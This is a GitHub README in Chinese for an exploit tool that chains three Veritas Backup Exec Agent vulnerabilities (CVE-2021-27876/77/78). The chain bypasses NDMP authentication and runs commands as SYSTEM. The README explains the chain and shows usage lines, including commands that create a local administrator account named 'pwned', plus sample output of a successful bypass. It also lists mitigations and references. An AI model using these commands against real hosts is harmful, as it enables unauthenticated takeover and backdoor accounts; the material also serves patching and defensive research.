wingerbijay/CVE-2021-27876
GitHub: wingerbijay/CVE-2021-27876
针对 Veritas Backup Exec Agent 的未认证 RCE 漏洞链 exploit,通过 NDMP 协议绕过 SHA 身份认证并以 SYSTEM 权限执行任意命令。
Stars: 0 | Forks: 0
# CVE-2021-27876
针对 Veritas Backup Exec Agent 的无需身份验证 RCE exploit (CVE-2021-27876/77/78) — 通过 NDMP 绕过 SHA 身份验证以获取 SYSTEM 权限
## CVE
| CVE | 描述 | CVSS 3.1 |
|---|---|---|
| CVE-2021-27876 | 通过在 NDMP 协议中操纵 SHA 哈希绕过身份验证 | 9.8 严重 |
| CVE-2021-27877 | 通过 NDMP 进行未经身份验证的任意文件读取 | 9.8 严重 |
| CVE-2021-27878 | 通过 `NDMP_EXECUTE_COMMAND` 执行任意 OS 命令 | 9.8 严重 |
**安全公告:** Veritas VTS21-003
## 受影响版本
- Backup Exec 16.x
- Backup Exec 20.x
- Backup Exec 21.x ≤ 21.2 (agent 修订版本 ≤ 9.3)
**修复版本:** Backup Exec 21.3 及更高版本。
## 工作原理
Veritas Backup Exec Agent 监听 TCP/10000 端口并使用 NDMP (Network Data Management Protocol) 进行通信。该 exploit 串联了三个漏洞:
1. **TLS 握手滥用** — Agent 在其自定义的 TLS 协商期间请求 CSR。该 exploit 会生成一个本地 CA,对 Agent 的 CSR 进行签名,并完成握手,在此过程中
无需任何预共享密钥即可将套接字升级为 TLS。
2. **SHA 身份验证绕过 (CVE-2021-27876)** — NDMP SHA 身份验证会计算 `SHA256('\x00' * 64 + challenge)`。由于密码被作为 64 字节的零填充块前置,且服务端不对密码内容进行
校验,任何客户端都可以在不知道密码的情况下以 `Administrator` 身份进行验证。
3. **NDMP_EXECUTE_COMMAND (CVE-2021-27878)** — 一旦通过身份验证,`NDMP_EXECUTE_COMMAND` 消息类型就会以 `NT AUTHORITY\SYSTEM` 身份运行任意 OS 命令。输出将被重定向到
`C:\Windows\Temp\_be_out.txt` 并通过 `NDMP_FILE_READ` 读回。
## 环境要求
Python 3.8+
pip install cryptography
## 用法
python3 be_rce.py
**示例:**
```
# 确认 SYSTEM 访问权限
python3 be_rce.py 10.10.10.50 "whoami"
# 转储 hostname 和 domain
python3 be_rce.py 10.10.10.50 "whoami /all"
# 添加本地 admin
python3 be_rce.py 10.10.10.50 "net user pwned P@ssw0rd123! /add"
python3 be_rce.py 10.10.10.50 "net localgroup administrators pwned /add"
Sample output:
[*] Connecting to 10.10.10.50:10000
[*] NDMP version: 9
[+] NDMP connection opened
[*] Generating CA certificate
[*] Got agent CSR (1024 bytes)
[*] Signed agent CSR and sent back
[*] SSL_HANDSHAKE CONNECT sent
[*] Upgrading to TLS
[+] TLS established
[*] Requesting SHA challenge
[*] Got 64-byte SHA challenge
[+] SHA authentication bypassed!
[*] Executing: whoami
[+] Command output:
────────────────────────────────────────
nt authority\system
────────────────────────────────────────
```
修复建议
- 将所有主机上的 Veritas Backup Exec Agent 升级至 21.3 或更高版本
- 通过主机防火墙和网络 ACL 将 TCP/10000 端口的访问限制为授权的备份管理主机
- 审核您环境中所有运行 Backup Exec agent 的主机
参考
- https://www.veritas.com/support/en_US/security/VTS21-003
- https://nvd.nist.gov/vuln/detail/CVE-2021-27876
- https://nvd.nist.gov/vuln/detail/CVE-2021-27877
- https://nvd.nist.gov/vuln/detail/CVE-2021-27878
- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/veritas/beagent_sha_auth_rce.rb
法律声明
本工具仅供授权的渗透测试和安全研究使用。未经明确书面许可对系统使用本工具是非法的。作者对任何滥用行为不承担责任。
标签:CISA项目, Modbus, 安全, 底层编程, 编程工具, 超时处理, 远程代码执行, 逆向工具